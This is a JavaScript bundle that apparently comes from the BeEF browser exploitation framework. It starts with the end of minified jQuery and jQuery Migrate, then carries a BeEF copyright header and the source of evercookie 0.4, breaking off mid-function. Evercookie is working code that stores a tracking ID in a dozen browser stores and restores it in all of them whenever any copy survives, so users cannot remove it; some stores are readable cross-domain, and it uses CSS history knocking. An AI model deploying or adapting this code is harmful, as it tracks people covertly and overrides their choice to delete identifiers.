0,f&&y.trigger(l?"ajaxSuccess":"ajaxError",[E,h,l?p:d]),m.fireWith(g,[E,C]),f&&(y.trigger("ajaxComplete",[E,h]),--w.active||w.event.trigger("ajaxStop")))}return E},getJSON:function(e,t,n){return w.get(e,t,n,"json")},getScript:function(e,t){return w.get(e,void 0,t,"script")}}),w.each(["get","post"],function(e,t){w[t]=function(e,n,r,i){return g(n)&&(i=i||r,r=n,n=void 0),w.ajax(w.extend({url:e,type:t,dataType:i,data:n,success:r},w.isPlainObject(e)&&e))}}),w._evalUrl=function(e){return w.ajax({url:e,type:"GET",dataType:"script",cache:!0,async:!1,global:!1,"throws":!0})},w.fn.extend({wrapAll:function(e){var t;return this[0]&&(g(e)&&(e=e.call(this[0])),t=w(e,this[0].ownerDocument).eq(0).clone(!0),this[0].parentNode&&t.insertBefore(this[0]),t.map(function(){var e=this;while(e.firstElementChild)e=e.firstElementChild;return e}).append(this)),this},wrapInner:function(e){return g(e)?this.each(function(t){w(this).wrapInner(e.call(this,t))}):this.each(function(){var t=w(this),n=t.contents();n.length?n.wrapAll(e):t.append(e)})},wrap:function(e){var t=g(e);return this.each(function(n){w(this).wrapAll(t?e.call(this,n):e)})},unwrap:function(e){return this.parent(e).not("body").each(function(){w(this).replaceWith(this.childNodes)}),this}}),w.expr.pseudos.hidden=function(e){return!w.expr.pseudos.visible(e)},w.expr.pseudos.visible=function(e){return!!(e.offsetWidth||e.offsetHeight||e.getClientRects().length)},w.ajaxSettings.xhr=function(){try{return new e.XMLHttpRequest}catch(e){}};var Vt={0:200,1223:204},Gt=w.ajaxSettings.xhr();h.cors=!!Gt&&"withCredentials"in Gt,h.ajax=Gt=!!Gt,w.ajaxTransport(function(t){var n,r;if(h.cors||Gt&&!t.crossDomain)return{send:function(i,o){var a,s=t.xhr();if(s.open(t.type,t.url,t.async,t.username,t.password),t.xhrFields)for(a in t.xhrFields)s[a]=t.xhrFields[a];t.mimeType&&s.overrideMimeType&&s.overrideMimeType(t.mimeType),t.crossDomain||i["X-Requested-With"]||(i["X-Requested-With"]="XMLHttpRequest");for(a in i)s.setRequestHeader(a,i[a]);n=function(e){return function(){n&&(n=r=s.onload=s.onerror=s.onabort=s.ontimeout=s.onreadystatechange=null,"abort"===e?s.abort():"error"===e?"number"!=typeof s.status?o(0,"error"):o(s.status,s.statusText):o(Vt[s.status]||s.status,s.statusText,"text"!==(s.responseType||"text")||"string"!=typeof s.responseText?{binary:s.response}:{text:s.responseText},s.getAllResponseHeaders()))}},s.onload=n(),r=s.onerror=s.ontimeout=n("error"),void 0!==s.onabort?s.onabort=r:s.onreadystatechange=function(){4===s.readyState&&e.setTimeout(function(){n&&r()})},n=n("abort");try{s.send(t.hasContent&&t.data||null)}catch(e){if(n)throw e}},abort:function(){n&&n()}}}),w.ajaxPrefilter(function(e){e.crossDomain&&(e.contents.script=!1)}),w.ajaxSetup({accepts:{script:"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript"},contents:{script:/\b(?:java|ecma)script\b/},converters:{"text script":function(e){return w.globalEval(e),e}}}),w.ajaxPrefilter("script",function(e){void 0===e.cache&&(e.cache=!1),e.crossDomain&&(e.type="GET")}),w.ajaxTransport("script",function(e){if(e.crossDomain){var t,n;return{send:function(i,o){t=w("<script>").prop({charset:e.scriptCharset,src:e.url}).on("load error",n=function(e){t.remove(),n=null,e&&o("error"===e.type?404:200,e.type)}),r.head.appendChild(t[0])},abort:function(){n&&n()}}}});var Yt=[],Qt=/(=)\?(?=&|$)|\?\?/;w.ajaxSetup({jsonp:"callback",jsonpCallback:function(){var e=Yt.pop()||w.expando+"_"+Et++;return this[e]=!0,e}}),w.ajaxPrefilter("json jsonp",function(t,n,r){var i,o,a,s=!1!==t.jsonp&&(Qt.test(t.url)?"url":"string"==typeof t.data&&0===(t.contentType||"").indexOf("application/x-www-form-urlencoded")&&Qt.test(t.data)&&"data");if(s||"jsonp"===t.dataTypes[0])return i=t.jsonpCallback=g(t.jsonpCallback)?t.jsonpCallback():t.jsonpCallback,s?t[s]=t[s].replace(Qt,"$1"+i):!1!==t.jsonp&&(t.url+=(kt.test(t.url)?"&":"?")+t.jsonp+"="+i),t.converters["script json"]=function(){return a||w.error(i+" was not called"),a[0]},t.dataTypes[0]="json",o=e[i],e[i]=function(){a=arguments},r.always(function(){void 0===o?w(e).removeProp(i):e[i]=o,t[i]&&(t.jsonpCallback=n.jsonpCallback,Yt.push(i)),a&&g(o)&&o(a[0]),a=o=void 0}),"script"}),h.createHTMLDocument=function(){var e=r.implementation.createHTMLDocument("").body;return e.innerHTML="<form></form><form></form>",2===e.childNodes.length}(),w.parseHTML=function(e,t,n){if("string"!=typeof e)return[];"boolean"==typeof t&&(n=t,t=!1);var i,o,a;return t||(h.createHTMLDocument?((i=(t=r.implementation.createHTMLDocument("")).createElement("base")).href=r.location.href,t.head.appendChild(i)):t=r),o=A.exec(e),a=!n&&[],o?[t.createElement(o[1])]:(o=xe([e],t,a),a&&a.length&&w(a).remove(),w.merge([],o.childNodes))},w.fn.load=function(e,t,n){var r,i,o,a=this,s=e.indexOf(" ");return s>-1&&(r=vt(e.slice(s)),e=e.slice(0,s)),g(t)?(n=t,t=void 0):t&&"object"==typeof t&&(i="POST"),a.length>0&&w.ajax({url:e,type:i||"GET",dataType:"html",data:t}).done(function(e){o=arguments,a.html(r?w("<div>").append(w.parseHTML(e)).find(r):e)}).always(n&&function(e,t){a.each(function(){n.apply(this,o||[e.responseText,t,e])})}),this},w.each(["ajaxStart","ajaxStop","ajaxComplete","ajaxError","ajaxSuccess","ajaxSend"],function(e,t){w.fn[t]=function(e){return this.on(t,e)}}),w.expr.pseudos.animated=function(e){return w.grep(w.timers,function(t){return e===t.elem}).length},w.offset={setOffset:function(e,t,n){var r,i,o,a,s,u,l,c=w.css(e,"position"),f=w(e),p={};"static"===c&&(e.style.position="relative"),s=f.offset(),o=w.css(e,"top"),u=w.css(e,"left"),(l=("absolute"===c||"fixed"===c)&&(o+u).indexOf("auto")>-1)?(a=(r=f.position()).top,i=r.left):(a=parseFloat(o)||0,i=parseFloat(u)||0),g(t)&&(t=t.call(e,n,w.extend({},s))),null!=t.top&&(p.top=t.top-s.top+a),null!=t.left&&(p.left=t.left-s.left+i),"using"in t?t.using.call(e,p):f.css(p)}},w.fn.extend({offset:function(e){if(arguments.length)return void 0===e?this:this.each(function(t){w.offset.setOffset(this,e,t)});var t,n,r=this[0];if(r)return r.getClientRects().length?(t=r.getBoundingClientRect(),n=r.ownerDocument.defaultView,{top:t.top+n.pageYOffset,left:t.left+n.pageXOffset}):{top:0,left:0}},position:function(){if(this[0]){var e,t,n,r=this[0],i={top:0,left:0};if("fixed"===w.css(r,"position"))t=r.getBoundingClientRect();else{t=this.offset(),n=r.ownerDocument,e=r.offsetParent||n.documentElement;while(e&&(e===n.body||e===n.documentElement)&&"static"===w.css(e,"position"))e=e.parentNode;e&&e!==r&&1===e.nodeType&&((i=w(e).offset()).top+=w.css(e,"borderTopWidth",!0),i.left+=w.css(e,"borderLeftWidth",!0))}return{top:t.top-i.top-w.css(r,"marginTop",!0),left:t.left-i.left-w.css(r,"marginLeft",!0)}}},offsetParent:function(){return this.map(function(){var e=this.offsetParent;while(e&&"static"===w.css(e,"position"))e=e.offsetParent;return e||be})}}),w.each({scrollLeft:"pageXOffset",scrollTop:"pageYOffset"},function(e,t){var n="pageYOffset"===t;w.fn[e]=function(r){return z(this,function(e,r,i){var o;if(y(e)?o=e:9===e.nodeType&&(o=e.defaultView),void 0===i)return o?o[t]:e[r];o?o.scrollTo(n?o.pageXOffset:i,n?i:o.pageYOffset):e[r]=i},e,r,arguments.length)}}),w.each(["top","left"],function(e,t){w.cssHooks[t]=_e(h.pixelPosition,function(e,n){if(n)return n=Fe(e,t),We.test(n)?w(e).position()[t]+"px":n})}),w.each({Height:"height",Width:"width"},function(e,t){w.each({padding:"inner"+e,content:t,"":"outer"+e},function(n,r){w.fn[r]=function(i,o){var a=arguments.length&&(n||"boolean"!=typeof i),s=n||(!0===i||!0===o?"margin":"border");return z(this,function(t,n,i){var o;return y(t)?0===r.indexOf("outer")?t["inner"+e]:t.document.documentElement["client"+e]:9===t.nodeType?(o=t.documentElement,Math.max(t.body["scroll"+e],o["scroll"+e],t.body["offset"+e],o["offset"+e],o["client"+e])):void 0===i?w.css(t,n,s):w.style(t,n,i,s)},t,a?i:void 0,a)}})}),w.each("blur focus focusin focusout resize scroll click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup contextmenu".split(" "),function(e,t){w.fn[t]=function(e,n){return arguments.length>0?this.on(t,null,e,n):this.trigger(t)}}),w.fn.extend({hover:function(e,t){return this.mouseenter(e).mouseleave(t||e)}}),w.fn.extend({bind:function(e,t,n){return this.on(e,null,t,n)},unbind:function(e,t){return this.off(e,null,t)},delegate:function(e,t,n,r){return this.on(t,e,n,r)},undelegate:function(e,t,n){return 1===arguments.length?this.off(e,"**"):this.off(t,e||"**",n)}}),w.proxy=function(e,t){var n,r,i;if("string"==typeof t&&(n=e[t],t=e,e=n),g(e))return r=o.call(arguments,2),i=function(){return e.apply(t||this,r.concat(o.call(arguments)))},i.guid=e.guid=e.guid||w.guid++,i},w.holdReady=function(e){e?w.readyWait++:w.ready(!0)},w.isArray=Array.isArray,w.parseJSON=JSON.parse,w.nodeName=N,w.isFunction=g,w.isWindow=y,w.camelCase=G,w.type=x,w.now=Date.now,w.isNumeric=function(e){var t=w.type(e);return("number"===t||"string"===t)&&!isNaN(e-parseFloat(e))},"function"==typeof define&&define.amd&&define("jquery",[],function(){return w});var Jt=e.jQuery,Kt=e.$;return w.noConflict=function(t){return e.$===w&&(e.$=Kt),t&&e.jQuery===w&&(e.jQuery=Jt),w},t||(e.jQuery=e.$=w),w});
- /*! jQuery Migrate v3.0.1 | (c) jQuery Foundation and other contributors | jquery.org/license */
- void 0 === jQuery.migrateMute && (jQuery.migrateMute = !0), function(e) {
- "function" == typeof define && define.amd ? define([ "jquery" ], window, e) : "object" == typeof module && module.exports ? module.exports = e(require("jquery"), window) : e(jQuery, window);
- }(function(e, t) {
- "use strict";
- function r(r) {
- var n = t.console;
- o[r] || (o[r] = !0, e.migrateWarnings.push(r), n && n.warn && !e.migrateMute && (n.warn("JQMIGRATE: " + r),
- e.migrateTrace && n.trace && n.trace()));
- }
- function n(e, t, n, a) {
- Object.defineProperty(e, t, {
- configurable: !0,
- enumerable: !0,
- get: function() {
- return r(a), n;
- },
- set: function(e) {
- r(a), n = e;
- }
- });
- }
- function a(e, t, n, a) {
- e[t] = function() {
- return r(a), n.apply(this, arguments);
- };
- }
- e.migrateVersion = "3.0.1", function() {
- var r = /^[12]\./;
- t.console && t.console.log && (e && !r.test(e.fn.jquery) || t.console.log("JQMIGRATE: jQuery 3.0.0+ REQUIRED"),
- e.migrateWarnings && t.console.log("JQMIGRATE: Migrate plugin loaded multiple times"),
- t.console.log("JQMIGRATE: Migrate is installed" + (e.migrateMute ? "" : " with logging active") + ", version " + e.migrateVersion));
- }();
- var o = {};
- e.migrateWarnings = [], void 0 === e.migrateTrace && (e.migrateTrace = !0), e.migrateReset = function() {
- o = {}, e.migrateWarnings.length = 0;
- }, "BackCompat" === t.document.compatMode && r("jQuery is not compatible with Quirks Mode");
- var i = e.fn.init, s = e.isNumeric, u = e.find, c = /\[(\s*[-\w]+\s*)([~|^$*]?=)\s*([-\w#]*?#[-\w#]*)\s*\]/, l = /\[(\s*[-\w]+\s*)([~|^$*]?=)\s*([-\w#]*?#[-\w#]*)\s*\]/g;
- e.fn.init = function(e) {
- var t = Array.prototype.slice.call(arguments);
- return "string" == typeof e && "#" === e && (r("jQuery( '#' ) is not a valid selector"),
- t[0] = []), i.apply(this, t);
- }, e.fn.init.prototype = e.fn, e.find = function(e) {
- var n = Array.prototype.slice.call(arguments);
- if ("string" == typeof e && c.test(e)) try {
- t.document.querySelector(e);
- } catch (a) {
- e = e.replace(l, function(e, t, r, n) {
- return "[" + t + r + '"' + n + '"]';
- });
- try {
- t.document.querySelector(e), r("Attribute selector with '#' must be quoted: " + n[0]),
- n[0] = e;
- } catch (e) {
- r("Attribute selector with '#' was not fixed: " + n[0]);
- }
- }
- return u.apply(this, n);
- };
- var d;
- for (d in u) Object.prototype.hasOwnProperty.call(u, d) && (e.find[d] = u[d]);
- e.fn.size = function() {
- return r("jQuery.fn.size() is deprecated and removed; use the .length property"),
- this.length;
- }, e.parseJSON = function() {
- return r("jQuery.parseJSON is deprecated; use JSON.parse"), JSON.parse.apply(null, arguments);
- }, e.isNumeric = function(t) {
- var n = s(t), a = function(t) {
- var r = t && t.toString();
- return !e.isArray(t) && r - parseFloat(r) + 1 >= 0;
- }(t);
- return n !== a && r("jQuery.isNumeric() should not be called on constructed objects"),
- a;
- }, a(e, "holdReady", e.holdReady, "jQuery.holdReady is deprecated"), a(e, "unique", e.uniqueSort, "jQuery.unique is deprecated; use jQuery.uniqueSort"),
- n(e.expr, "filters", e.expr.pseudos, "jQuery.expr.filters is deprecated; use jQuery.expr.pseudos"),
- n(e.expr, ":", e.expr.pseudos, "jQuery.expr[':'] is deprecated; use jQuery.expr.pseudos");
- var p = e.ajax;
- e.ajax = function() {
- var e = p.apply(this, arguments);
- return e.promise && (a(e, "success", e.done, "jQXHR.success is deprecated and removed"),
- a(e, "error", e.fail, "jQXHR.error is deprecated and removed"), a(e, "complete", e.always, "jQXHR.complete is deprecated and removed")),
- e;
- };
- var f = e.fn.removeAttr, y = e.fn.toggleClass, m = /\S+/g;
- e.fn.removeAttr = function(t) {
- var n = this;
- return e.each(t.match(m), function(t, a) {
- e.expr.match.bool.test(a) && (r("jQuery.fn.removeAttr no longer sets boolean properties: " + a),
- n.prop(a, !1));
- }), f.apply(this, arguments);
- }, e.fn.toggleClass = function(t) {
- return void 0 !== t && "boolean" != typeof t ? y.apply(this, arguments) : (r("jQuery.fn.toggleClass( boolean ) is deprecated"),
- this.each(function() {
- var r = this.getAttribute && this.getAttribute("class") || "";
- r && e.data(this, "__className__", r), this.setAttribute && this.setAttribute("class", r || !1 === t ? "" : e.data(this, "__className__") || "");
- }));
- };
- var h = !1;
- e.swap && e.each([ "height", "width", "reliableMarginRight" ], function(t, r) {
- var n = e.cssHooks[r] && e.cssHooks[r].get;
- n && (e.cssHooks[r].get = function() {
- var e;
- return h = !0, e = n.apply(this, arguments), h = !1, e;
- });
- }), e.swap = function(e, t, n, a) {
- var o, i, s = {};
- h || r("jQuery.swap() is undocumented and deprecated");
- for (i in t) s[i] = e.style[i], e.style[i] = t[i];
- o = n.apply(e, a || []);
- for (i in t) e.style[i] = s[i];
- return o;
- };
- var g = e.data;
- e.data = function(t, n, a) {
- var o;
- if (n && "object" == typeof n && 2 === arguments.length) {
- o = e.hasData(t) && g.call(this, t);
- var i = {};
- for (var s in n) s !== e.camelCase(s) ? (r("jQuery.data() always sets/gets camelCased names: " + s),
- o[s] = n[s]) : i[s] = n[s];
- return g.call(this, t, i), n;
- }
- return n && "string" == typeof n && n !== e.camelCase(n) && (o = e.hasData(t) && g.call(this, t)) && n in o ? (r("jQuery.data() always sets/gets camelCased names: " + n),
- arguments.length > 2 && (o[n] = a), o[n]) : g.apply(this, arguments);
- };
- var v = e.Tween.prototype.run, j = function(e) {
- return e;
- };
- e.Tween.prototype.run = function() {
- e.easing[this.easing].length > 1 && (r("'jQuery.easing." + this.easing.toString() + "' should use only one argument"),
- e.easing[this.easing] = j), v.apply(this, arguments);
- }, e.fx.interval = e.fx.interval || 13, t.requestAnimationFrame && n(e.fx, "interval", e.fx.interval, "jQuery.fx.interval is deprecated");
- var Q = e.fn.load, b = e.event.add, w = e.event.fix;
- e.event.props = [], e.event.fixHooks = {}, n(e.event.props, "concat", e.event.props.concat, "jQuery.event.props.concat() is deprecated and removed"),
- e.event.fix = function(t) {
- var n, a = t.type, o = this.fixHooks[a], i = e.event.props;
- if (i.length) for (r("jQuery.event.props are deprecated and removed: " + i.join()); i.length; ) e.event.addProp(i.pop());
- if (o && !o._migrated_ && (o._migrated_ = !0, r("jQuery.event.fixHooks are deprecated and removed: " + a),
- (i = o.props) && i.length)) for (;i.length; ) e.event.addProp(i.pop());
- return n = w.call(this, t), o && o.filter ? o.filter(n, t) : n;
- }, e.event.add = function(e, n) {
- return e === t && "load" === n && "complete" === t.document.readyState && r("jQuery(window).on('load'...) called after load event occurred"),
- b.apply(this, arguments);
- }, e.each([ "load", "unload", "error" ], function(t, n) {
- e.fn[n] = function() {
- var e = Array.prototype.slice.call(arguments, 0);
- return "load" === n && "string" == typeof e[0] ? Q.apply(this, e) : (r("jQuery.fn." + n + "() is deprecated"),
- e.splice(0, 0, n), arguments.length ? this.on.apply(this, e) : (this.triggerHandler.apply(this, e),
- this));
- };
- }), e.each("blur focus focusin focusout resize scroll click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup contextmenu".split(" "), function(t, n) {
- e.fn[n] = function(e, t) {
- return r("jQuery.fn." + n + "() event shorthand is deprecated"), arguments.length > 0 ? this.on(n, null, e, t) : this.trigger(n);
- };
- }), e(function() {
- e(t.document).triggerHandler("ready");
- }), e.event.special.ready = {
- setup: function() {
- this === t.document && r("'ready' event is deprecated");
- }
- }, e.fn.extend({
- bind: function(e, t, n) {
- return r("jQuery.fn.bind() is deprecated"), this.on(e, null, t, n);
- },
- unbind: function(e, t) {
- return r("jQuery.fn.unbind() is deprecated"), this.off(e, null, t);
- },
- delegate: function(e, t, n, a) {
- return r("jQuery.fn.delegate() is deprecated"), this.on(t, e, n, a);
- },
- undelegate: function(e, t, n) {
- return r("jQuery.fn.undelegate() is deprecated"), 1 === arguments.length ? this.off(e, "**") : this.off(t, e || "**", n);
- },
- hover: function(e, t) {
- return r("jQuery.fn.hover() is deprecated"), this.on("mouseenter", e).on("mouseleave", t || e);
- }
- });
- var x = e.fn.offset;
- e.fn.offset = function() {
- var n, a = this[0], o = {
- top: 0,
- left: 0
- };
- return a && a.nodeType ? (n = (a.ownerDocument || t.document).documentElement, e.contains(n, a) ? x.apply(this, arguments) : (r("jQuery.fn.offset() requires an element connected to a document"),
- o)) : (r("jQuery.fn.offset() requires a valid DOM element"), o);
- };
- var k = e.param;
- e.param = function(t, n) {
- var a = e.ajaxSettings && e.ajaxSettings.traditional;
- return void 0 === n && a && (r("jQuery.param() no longer uses jQuery.ajaxSettings.traditional"),
- n = a), k.call(this, t, n);
- };
- var A = e.fn.andSelf || e.fn.addBack;
- e.fn.andSelf = function() {
- return r("jQuery.fn.andSelf() is deprecated and removed, use jQuery.fn.addBack()"),
- A.apply(this, arguments);
- };
- var S = e.Deferred, q = [ [ "resolve", "done", e.Callbacks("once memory"), e.Callbacks("once memory"), "resolved" ], [ "reject", "fail", e.Callbacks("once memory"), e.Callbacks("once memory"), "rejected" ], [ "notify", "progress", e.Callbacks("memory"), e.Callbacks("memory") ] ];
- return e.Deferred = function(t) {
- var n = S(), a = n.promise();
- return n.pipe = a.pipe = function() {
- var t = arguments;
- return r("deferred.pipe() is deprecated"), e.Deferred(function(r) {
- e.each(q, function(o, i) {
- var s = e.isFunction(t[o]) && t[o];
- n[i[1]](function() {
- var t = s && s.apply(this, arguments);
- t && e.isFunction(t.promise) ? t.promise().done(r.resolve).fail(r.reject).progress(r.notify) : r[i[0] + "With"](this === a ? r.promise() : this, s ? [ t ] : arguments);
- });
- }), t = null;
- }).promise();
- }, t && t.call(n, n), n;
- }, e.Deferred.exceptionHook = S.exceptionHook, e;
- });
- //
- // Copyright (c) 2006-2018 Wade Alcorn - wade@bindshell.net
- // Browser Exploitation Framework (BeEF) - http://beefproject.com
- // See the file 'doc/COPYING' for copying permission
- //
- /*
- * evercookie 0.4 (10/13/2010) -- extremely persistent cookies
- *
- * by samy kamkar : code@samy.pl : http://samy.pl
- *
- * this api attempts to produce several types of persistent data
- * to essentially make a cookie virtually irrevocable from a system
- *
- * specifically it uses:
- * - standard http cookies
- * - flash cookies (local shared objects)
- * - silverlight isolated storage
- * - png generation w/forced cache and html5 canvas pixel reading
- * - http etags
- * - http cache
- * - window.name
- * - IE userData
- * - html5 session cookies
- * - html5 local storage
- * - html5 global storage
- * - html5 database storage via sqlite
- * - css history scanning
- *
- * if any cookie is found, it's then reset to all the other locations
- * for example, if someone deletes all but one type of cookie, once
- * that cookie is re-discovered, all of the other cookie types get reset
- *
- * !!! SOME OF THESE ARE CROSS-DOMAIN COOKIES, THIS MEANS
- * OTHER SITES WILL BE ABLE TO READ SOME OF THESE COOKIES !!!
- *
- * USAGE:
- var ec = new evercookie();
- // set a cookie "id" to "12345"
- // usage: ec.set(key, value)
- ec.set("id", "12345");
- // retrieve a cookie called "id" (simply)
- ec.get("id", function(value) { alert("Cookie value is " + value) });
- // or use a more advanced callback function for getting our cookie
- // the cookie value is the first param
- // an object containing the different storage methods
- // and returned cookie values is the second parameter
- function getCookie(best_candidate, all_candidates)
- {
- alert("The retrieved cookie is: " + best_candidate + "\n" +
- "You can see what each storage mechanism returned " +
- "by looping through the all_candidates object.");
- for (var item in all_candidates)
- document.write("Storage mechanism " + item +
- " returned " + all_candidates[item] + " votes<br>");
- }
- ec.get("id", getCookie);
- // we look for "candidates" based off the number of "cookies" that
- // come back matching since it's possible for mismatching cookies.
- // the best candidate is very-very-likely the correct one
- */
- /* to turn off CSS history knocking, set _ec_history to 0 */
- var _ec_history = 1; // CSS history knocking or not .. can be network intensive
- var _ec_tests = 10;//1000;
- var _ec_debug = 0;
- function _ec_dump(arr, level)
- {
- var dumped_text = "";
- if(!level) level = 0;
- //The padding given at the beginning of the line.
- var level_padding = "";
- for(var j=0;j<level+1;j++) level_padding += " ";
- if(typeof(arr) == 'object') { //Array/Hashes/Objects
- for(var item in arr) {
- var value = arr[item];
- if(typeof(value) == 'object') { //If it is an array,
- dumped_text += level_padding + "'" + item + "' ...\n";
- dumped_text += _ec_dump(value,level+1);
- } else {
- dumped_text += level_padding + "'" + item + "' => \"" + value + "\"\n";
- }
- }
- } else { //Stings/Chars/Numbers etc.
- dumped_text = "===>"+arr+"<===("+typeof(arr)+")";
- }
- return dumped_text;
- }
- function _ec_replace(str, key, value)
- {
- if (str.indexOf('&' + key + '=') > -1 || str.indexOf(key + '=') == 0)
- {
- // find start
- var idx = str.indexOf('&' + key + '=');
- if (idx == -1)
- idx = str.indexOf(key + '=');
- // find end
- var end = str.indexOf('&', idx + 1);
- var newstr;
- if (end != -1)
- newstr = str.substr(0, idx) + str.substr(end + (idx ? 0 : 1)) + '&' + key + '=' + value;
- else
- newstr = str.substr(0, idx) + '&' + key + '=' + value;
- return newstr;
- }
- else
- return str + '&' + key + '=' + value;
- }
- // necessary for flash to communicate with js...
- // please implement a better way
- var _global_lso;
- function _evercookie_flash_var(cookie)
- {
- _global_lso = cookie;
- // remove the flash object now
- var swf = $('#myswf');
- if (swf && swf.parentNode)
- swf.parentNode.removeChild(swf);
- }
- var evercookie = (function () {
- this._class = function() {
- var self = this;
- // private property
- _baseKeyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
- this._ec = {};
- var no_color = -1;
- this.get = function(name, cb, dont_reset)
- {
- $(document).ready(function() {
- self._evercookie(name, cb, undefined, undefined, dont_reset);
- });
- };
- this.set = function(name, value)
- {
- $(document).ready(function() {
- self._evercookie(name, function() { }, value);
- });
- };
- this._evercookie = function(name, cb, value, i, dont_reset)
- {
- if (typeof self._evercookie == 'undefined')
- self = this;
- if (typeof i == 'undefined')
- i = 0;
- // first run
- if (i == 0)
- {
- self.evercookie_database_storage(name, value);
- self.evercookie_png(name, value);
- self.evercookie_etag(name, value);
- self.evercookie_cache(name, value);
- self.evercookie_lso(name, value);
- self.evercookie_silverlight(name, value);
- self._ec.userData = self.evercookie_userdata(name, value);
- self._ec.cookieData = self.evercookie_cookie(name, value);
- self._ec.localData = self.evercookie_local_storage(name, value);
- self._ec.globalData = self.evercookie_global_storage(name, value);
- self._ec.sessionData = self.evercookie_session_storage(name, value);
- self._ec.windowData = self.evercookie_window(name, value);
- if (_ec_history)
- self._ec.historyData = self.evercookie_history(name, value);
- }
- // when writing data, we need to make sure lso and silverlight object is there
- if (typeof value != 'undefined')
- {
- if (
- (
- (typeof _global_lso == 'undefined') ||
- (typeof _global_isolated == 'undefined')
- )
- && i++ < _ec_tests
- )
- setTimeout(function() { self._evercookie(name, cb, value, i, dont_reset) }, 300);
- }
- // when reading data, we need to wait for swf, db, silverlight and png
- else
- {
- if (
- (
- // we support local db and haven't read data in yet
- (window.openDatabase && typeof self._ec.dbData == 'undefined') ||
- (typeof _global_lso == 'undefined') ||
- (typeof self._ec.etagData == 'undefined') ||
- (typeof self._ec.cacheData == 'undefined') ||
- (document.createElement('canvas').getContext && (typeof self._ec.pngData == 'undefined' || self._ec.pngData == '')) ||
- (typeof _global_isolated == 'undefined')
- )
- &&
- i++ < _ec_tests
- )
- {
- setTimeout(function() { self._evercookie(name, cb, value, i, dont_reset) }, 300);
- }
- // we hit our max wait time or got all our data
- else
- {
- // get just the piece of data we need from swf
- self._ec.lsoData = self.getFromStr(name, _global_lso);
- _global_lso = undefined;
- // get just the piece of data we need from silverlight
- self._ec.slData = self.getFromStr(name, _global_isolated);
- _global_isolated = undefined;
- var tmpec = self._ec;
- self._ec = {};
- // figure out which is the best candidate
- var candidates = new Array();
- var bestnum = 0;
- var candidate;
- for (var item in tmpec)
- {
- if (typeof tmpec[item] != 'undefined' && typeof tmpec[item] != 'null' && tmpec[item] != '' &&
- tmpec[item] != 'null' && tmpec[item] != 'undefined' && tmpec[item] != null)
- {
- candidates[tmpec[item]] = typeof candidates[tmpec[item]] == 'undefined' ? 1 : candidates[tmpec[item]] + 1;
- }
- }
- for (var item in candidates)
- {
- if (candidates[item] > bestnum)
- {
- bestnum = candidates[item];
- candidate = item;
- }
- }
- // reset cookie everywhere
- if (typeof dont_reset == "undefined" || dont_reset != 1)
- self.set(name, candidate);
- if (typeof cb == 'function')
- cb(candidate, tmpec);
- }
- }
- };
- this.evercookie_window = function(name, value)
- {
- try {
- if (typeof(value) != "undefined")
- window.name = _ec_replace(window.name, name, value);
- else
- return this.getFromStr(name, window.name);
- } catch(e) { }
- };
- this.evercookie_userdata = function(name, value)
- {
- try {
- var elm = this.createElem('div', 'userdata_el', 1);
- elm.style.behavior = "url(#default#userData)";
- if (typeof(value) != "undefined")
- {
- elm.setAttribute(name, value);
- elm.save(name);
- }
- else
- {
- elm.load(name);
- return elm.getAttribute(name);
- }
- } catch(e) { }
- };
- this.evercookie_cache = function(name, value)
- {
- if (typeof(value) != "undefined")
- {
- // make sure we have evercookie session defined first
- document.cookie = 'evercookie_cache=' + value;
- // evercookie_cache.php handles caching
- var img = new Image();
- img.style.visibility = 'hidden';
- img.style.position = 'absolute';
- img.src = 'evercookie_cache.php?name=' + name;
- }
- else
- {
- // interestingly enough, we want to erase our evercookie
- // http cookie so the php will force a cached response
- var origvalue = this.getFromStr('evercookie_cache', document.cookie);
- self._ec.cacheData = undefined;
- document.cookie = 'evercookie_cache=; expires=Mon, 20 Sep 2010 00:00:00 UTC; path=/';
- $.ajax({
- url: 'evercookie_cache.php?name=' + name,
- success: function(data) {
- // put our cookie back
- document.cookie = 'evercookie_cache=' + origvalue + '; expires=Tue, 31 Dec 2030 00:00:00 UTC; path=/';
- self._ec.cacheData = data;
- }
- });
- }
- };
- this.evercookie_etag = function(name, value)
- {
- if (typeof(value) != "undefined")
- {
- // make sure we have evercookie session defined first
- document.cookie = 'evercookie_etag=' + value;
- // evercookie_etag.php handles etagging
- var img = new Image();
- img.style.visibility = 'hidden';
- img.style.position = 'absolute';
- img.src = 'evercookie_etag.php?name=' + name;
- }
- else
- {
- // interestingly enough, we want to erase our evercookie
- // http cookie so the php will force a cached response
- var origvalue = this.getFromStr('evercookie_etag', document.cookie);
- self._ec.etagData = undefined;
- document.cookie = 'evercookie_etag=; expires=Mon, 20 Sep 2010 00:00:00 UTC; path=/';
- $.ajax({
- url: 'evercookie_etag.php?name=' + name,
- success: function(data) {
- // put our cookie back
- document.cookie = 'evercookie_etag=' + origvalue + '; expires=Tue, 31 Dec 2030 00:00:00 UTC; path=/';
- self._ec.etagData = data;
- }
- });
- }
- };
- this.evercookie_lso = function(name, value)
- {
- var div = document.getElementById('swfcontainer');
- if (!div)
- {
- div = document.createElement("div");
- div.setAttribute('id', 'swfcontainer');
- document.body.appendChild(div);
- }
- var flashvars = {};
- if (typeof value != 'undefined')
- flashvars.everdata = name + '=' + value;
- var params = {};
- params.swliveconnect = "true";
- var attributes = {};
- attributes.id = "myswf";
- attributes.name = "myswf";
- swfobject.embedSWF("evercookie.swf", "swfcontainer", "1", "1", "9.0.0", false, flashvars, params, attributes);
- };
- this.evercookie_png = function(name, value)
- {
- if (document.createElement('canvas').getContext)
- {
- if (typeof(value) != "undefined")
- {
- // make sure we have evercookie session defined first
- document.cookie = 'evercookie_png=' + value;
- // evercookie_png.php handles the hard part of generating the image
- // based off of the http cookie and returning it cached
- var img = new Image();
- img.style.visibility = 'hidden';
- img.style.position = 'absolute';
- img.src = 'evercookie_png.php?name=' + name;
- }
- else
- {
- self._ec.pngData = undefined;
- var context = document.createElement('canvas');
- context.style.visibility = 'hidden';
- context.style.position = 'absolute';
- context.width = 200;
- context.height = 1;
- var ctx = context.getContext('2d');
- // interestingly enough, we want to erase our evercookie
- // http cookie so the php will force a cached response
- var origvalue = this.getFromStr('evercookie_png', document.cookie);
- document.cookie = 'evercookie_png=; expires=Mon, 20 Sep 2010 00:00:00 UTC; path=/';
- var img = new Image();
- img.style.visibility = 'hidden';
- img.style.position = 'absolute';
